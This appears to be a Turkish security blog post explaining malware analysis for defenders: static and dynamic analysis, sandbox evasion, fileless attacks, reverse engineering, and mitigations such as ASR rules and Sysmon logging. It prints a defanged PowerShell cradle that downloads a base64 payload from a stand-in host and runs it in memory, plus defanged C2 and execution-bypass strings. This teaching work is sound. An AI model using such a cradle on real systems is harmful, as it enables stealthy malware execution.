Selamlar millet, ben Sedat. Kahvenizi aldıysanız bugün biraz 'tehlikeli' sularda yüzelim ama can simidimiz yanımızda olsun.
Siber güvenlik trendleri o kadar hızlı değişiyor ki hızına yetişmek için bazen uyumayı unutuyoruz. Eskiden bir dosyayı VirusTotal’e yüklerdik, 60/60 'clean' gelince 'Oh be, tertemizmiş' diyerek sisteme kurardık. Ya da en fazla 8 karakterli parolaları 16 yapınca kendimizi güvende hissederdik. Ama artık devir değişti. Bugün konuştuğumuz zararlı yazılımlar, siz onları incelediğinizi anladığı an intihar eden, bellekte hayalet gibi dolaşan veya sadece belirli bir tarih/saat gelince uyanan yapılar. Yani artık kimse 'statik' bir hash değerine güvenmiyor, peki ya dinamik analiz? O da tek başına yeterli mi?
Bugün testCompany bünyesinde karşılaştığımız o 'garip' dosyaların iç yüzünü nasıl anlarız, analiz yaparken nelere dikkat etmeliyiz ve en önemlisi bu canavarların savunma mekanizmalarımızı nasıl bypass ettiğini konuşacağız.
Statik Analiz: Cesedi Otopsi Masasına Yatırmak
Malware analizi iki ana koldan ilerler: Statik ve Dinamik. Statik analiz, dosyayı çalıştırmadan, dışarıdan bakarak yapılan incelemedir. Bir nevi cerrahın ameliyata girmeden önce röntgenlere bakması gibi düşünebilirsiniz.
İlk bakmamız gereken yer PE (Portable Executable) yapısıdır. Windows dünyasında her .exe, .dll veya .sys dosyası bu formatta gelir. Burada Import Address Table (IAT) bizim için altın madenidir. Bu dosya hangi kütüphaneleri çağırıyor? Kernel32.dll içinden CreateRemoteThread mi çağırıyor? Yoksa Wininet.dll üzerinden internete mi çıkmaya çalışıyor?
Mesela şöyle bir durum düşünün; basit bir hesap makinesi uygulaması neden InternetOpenW veya HttpSendRequestW fonksiyonlarını import eder ki? İşte burada koku almaya başlıyoruz.
Entropy (Entropi) Analizi: Bu kavramı sevdiğinizi biliyorum. Bir dosyanın entropisi yüksekse (genellikle 7.0 ve üzeri), o dosya büyük ihtimalle paketlenmiş (packed) veya şifrelenmiştir. Saldırganlar analizimizi zorlaştırmak için kodu 'obfuscate' ederler.
Zararsızlaştırılmış (Defanged) Örnek - String Analizi:
Bir dosyayı strings komutundan geçirdiğinizde karşınıza şu tarz yapılar çıkıyorsa kaşlarınızın çatılması lazım:
http[:]//bad-actor-domain[.]com/c2/checkin
C[:]\\Windows\\Temp\\update_service.exe
cmd.exe /c powershell -ExecutionPolicy Bypass -File ...
(Not: URL ve dosya yolları eğitim amaçlı bozulmuştur.)
Dinamik Analiz: Canavarı Kafese Koyup İzlemek
Statik analiz bitti, röntgenleri çektik ama hala emin değiliz. Şimdi dosyayı bir 'Sandbox' (kum havuzu) içine atma zamanı. Ama dikkat! Akıllı bir malware, sandbox içinde olduğunu anlayabilir.
Analiz laboratuvarınızda (Lab) şunlara dikkat etmelisiniz:
- Core Sayısı: Malware, sistemde sadece 1 veya 2 çekirdek olduğunu görürse 'Burası kesin sanal makinedir' deyip çalışmayabilir.
- Disk Boyutu: 40 GB'lık bir diskte çalışan malware olur mu? Günümüzde normal bir kullanıcı bilgisayarı 256 GB'dan aşağı değil.
- Mouse Hareketleri: Bazı gelişmiş örnekler, belirli bir süre boyunca fare hareketi (human interaction) görmezse kendini kapatır.
Dinamik İzleme Senaryosu:
Malware'i çalıştırdık. Procmon (Process Monitor) açık. Gözümüz RegSetValue ve WriteFile işlemlerinde. Eğer dosya kendini HKCU\Software\Microsoft\Windows\CurrentVersion\Run altına yazıyorsa, tebrikler; 'Persistence' (kalıcılık) sağlamaya çalışan bir arkadaşla karşı karşıyasınız.
Dosyasız Saldırılar ve Living Off the Land (LotL)
Trendlerden bahsetmiştik. Artık saldırganlar diske dosya bırakmıyor. PowerShell veya WMI (Windows Management Instrumentation) kullanarak bellekte (RAM) yaşıyorlar. Bu durum, geleneksel antivirüslerin (AV) en büyük kabusu.
Şu örneğe bir bakalım (Defanged/Zararsızlaştırılmış):
# Bu bir mock script'tir, gerçek dünyada saldırı amaçlı kullanılamaz.
$u = "hXXp[:]//internal-test-server[.]local/payload.txt"
$c = New-Object System.Net.WebClient
$d = $c.DownloadString($u)
$i = [System.Convert]::FromBase64String($d)
[System.Reflection.Assembly]::Load($i).EntryPoint.Invoke($null, $null)
Burada ne oluyor? Script internetten (bozulmuş URL) bir string çekiyor, onu base64'ten decode ediyor ve diske hiç yazmadan direkt belleğe Load edip çalıştırıyor. İşte buna 'Fileless Malware' diyoruz. Bunu yakalamak için EDR (Endpoint Detection and Response) sistemlerinizin bellek tarama ve davranışsal analiz yeteneklerinin olması şart.
Tersine Mühendislik: Kodun Kalbine Yolculuk
Eğer çok inatçı bir örnekle karşı karşıyaysanız, Ghidra veya IDA Pro gibi araçlarla Assembly seviyesine inmeniz gerekebilir. Burada bakacağınız şey 'Logic Bomb'lar veya 'Anti-Debugging' teknikleridir.
Örneğin, kod içinde IsDebuggerPresent kontrolü yapılıyorsa, malware sizin onu x64dbg ile incelediğinizi anlamaya çalışıyordur. Biz ne yapıyoruz? O kontrolü Assembly seviyesinde NOP (No Operation) ile geçiyoruz ya da flag'i değiştiriyoruz. Satranç gibi, değil mi?
Peki Ne Yapmalı? (Defensive Mitigations)
testCompany gibi yapılarda güvenliği sağlamak için malware analizinden çıkardığımız dersleri aksiyona dökmemiz lazım:
- ASR (Attack Surface Reduction) Rules: Office uygulamalarının 'child process' oluşturmasını engelleyin. Bir Word dosyası neden
cmd.exeaçsın? - PowerShell Constrained Language Mode: Admin olmayan kullanıcılar için PowerShell yeteneklerini kısıtlayın. Bu, yukarıdaki fileless saldırıların çoğunu daha başlamadan bitirir.
- Sysmon Loglama: Event ID 1 (Process Creation), Event ID 7 (Image Loaded) ve Event ID 11 (File Create) loglarını SIEM’e basın. Bir malware'in ayak izlerini takip etmenin en iyi yolu budur.
- Entropy Monitoring: Dosya sunucularınızda aniden entropisi yüksek binlerce dosya oluşuyorsa, muhtemelen bir Ransomware (fidye yazılımı) saldırısı altındasınızdır.
Son Söz Yerine
Malware analizi sadece 'bu dosya kötü mü?' sorusuna yanıt aramak değildir; saldırganın psikolojisini, kullandığı altyapıyı ve hedeflerini anlama sanatıdır. Unutmayın, en iyi savunma, saldırının nasıl yapıldığını en ince ayrıntısına kadar bilmekten geçer.
Bugünlük bu kadar. Bir sonraki yazıda bellek analizinin (Memory Forensics) karanlık dehlizlerine ineriz belki, ne dersiniz?
Kendinize iyi bakın, sistemlerinizi güncel tutun ve o şüpheli .lnk dosyalarına sakın tıklamayın! ;)
Stay secure!
